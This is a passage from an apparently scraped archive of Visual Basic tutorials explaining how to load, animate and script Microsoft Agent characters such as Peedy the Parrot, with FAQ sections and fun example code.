work on Robby.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish or\nmay even loop for ever so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent in my\napplications?\nYes! as far as I know Microsoft is\ndistributing this freely across the internet. You can use the control freely\n(for more info go to the MSDN site - msdn.microsft.com ), and you can use any of\nthe code you see in this tutorial freely!\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \nCan I use Ms Agent in VB 4.0?\nI have got reports that you can use Ms Agent\n1.5 in Visual Basic 4. I am not sure if it will work in VB 4.0 (16 Bit), but it\nshould work in VB 4.0 (32 Bit). \n \nCan I use Ms Agent in Java?\nAs far as I know you can. I saw some Java\ncode on the MSDN site. You may want to check out the site (see below for URL).\n \nWhere can I get more info on\nMs Agent?\nMicrosoft's\nofficial Ms Agent developer page is at - <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \nWhen are you going to add a\nSpeech Recognition Section?\nHave patience. I will add this tutorial as\nsoon as possible (I am working on it!). \n \nWhat can I expect in your\nnext tutorial?\nFrankly... a lot! I hope to add a speech\nrecognition section as well as how to control Ms Agent via API.\n \nTHE END\nA lot of hard work\nhas gone into this tutorial. I have spent many hours writing this article\nin an easy to understand manner. If you like this please vote for me.\nAlso feel free to post any comments or suggestions as to what I\ncan include in the next version.\n"},{"WorldId":1,"id":13143,"LineNumber":1,"line":" \nHow to use the\nMS Agent Control for Absolute Beginners\n \nIntroduction\nThis tutorial will teach you\nhow to use the MS Agent control. It will show you how to get a character file\nassociated with MS Agent and then how to use it in different ways. Does not\nrequire any previous knowledge of using the control. While this tutorial shows\nyou the inns and outs of using the MS Agent control and the various characters\nthat can be associated with it, it also shows every step in an easy to\nunderstand manner. Although this extensive tutorial covers nearly all the\naspects of using the MS Agent Control, even novice programmers will be able\nto understand this tutorial and use the example code in their own\napplications. \n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nNew In this Version\nIn this version I have added a 'Fun Code'\nsection where you can get some cool code that makes the characters act in\ndifferent ways. I have also updated the 'Customizing the Agent Control' by\ndescribing some new properties you can change. I have also made a few minor\nadjustments to other areas of the tutorial.\nGetting Started\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6. You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). \nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the monkey. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n \n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English) \n\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n \n \nDoing Stuff With\nthe Character\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n \n \n \nCustomizing the\nAgent Control\n \nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\n \nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \n \n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n \n \nFun Agent Code to Add to\nyour Applications\n \nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\n \nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \n \n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\n \nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n \nFrequently Asked\nQuestions\n \nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nYes, the Agent Character files are freeware\nand can be downloaded from MSDN (Microsoft Developer Network). \n \nWhy don't some functions\n(commands) work on some character files?\nWell the latest version character files will\nhave more functions (Robby the Monkey is the latest I think), so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle2_3" function does not work on Peedy.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent in my\napplications?\nYes! as far as I know Microsoft is\ndistributing this freely across the internet. You can use the control freely\n(for more info go to the MSDN site - msdn.microsft.com ), and you can use any of\nthe code you see in this tutorial freely!\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \n \nTHE END\nI've worked for a \nlong time to get this tutorial to you so I would really appreciate some feedback and votes!\nYou are free to use the example source code in your applications.\n</body>\n"},{"WorldId":1,"id":13103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13181,"LineNumber":1,"line":" \nThe \nComplete Guide to Ms Agent\n \nIntroduction\nThis tutorial is a sequel to my 'How to use\nthe Ms Agent Control for Absolute Beginners'. This tutorial not only contains\nall the information that was contained in that tutorial, but also has\ninformation on how to use the Ms Agent control in VB Script. This tutorial, is\nbased on the easy to understand interface of my first two tutorials, so even\nnovice programmers will be able to understand it.\n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nIndex\nGetting Started\n- Provides all the data you need to jump start your Agent application\nDeclaring the Character\nFile - Shows how to declare the\nCharacter file for use in VB\nInitializing the\nCharacter - Shows how to initialize the Character file\nDisplaying Various\nAnimations - Shows how to get the Character to display\nvarious animations\nUsing Ms Agent With\nVB Script - Shows you how to use Ms Agent with VB Script\nEvents and\nProperties of the Agent Control - Describes the Events and\nProperties of the Agent Control\nFun Agent Code to Add to\nyour Applications - Gives some cool code which makes the Character\ndo some fun things\nExamples of\nHow you can use the Agent Control - Gives some ideas as to\nhow you can use the Agent Control\nFrequently Asked\nQuestions - Various related questions and their answers.\n \n \n \nGetting Started\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6 (parts of this tutorial may work in VB 4 if you\nhave Agent 1.5 installed). You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). \nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the Robot. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n \n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English) \n\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n \n \nDisplaying Various\nAnimations\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n \n \n \nEvents and\nProperties of the Agent Control\n \nEvents\nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\nchar.play "Idle3_3"\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the Agent1_BalloonHide\nevent to Set what happens when the Character's speech balloon is shown\nUsing this event you can set what happens\nevery time the speech balloon is shown (basically every time the character\nstarts speaking).\n \nUsing the Agent1_BalloonShow\nevent to Set what happens when the Character's speech balloon is hidden\nUsing this event you can set what happens\nevery time the speech balloon is hidden (basically every time the character\nstops speaking).\n \n \n \nProperties\nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \nUsing Ms Agent\nwith VB Script\nMs Agent can be used in VB script too. VB\nscript 2.0 is needed to do so. Here is an example. Using VB script is very\nuseful if you want to include MS Agent on your web page. Please note - I am not\ntoo familiar with VB script so If there are any syntax errors please let me\nknow.\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / 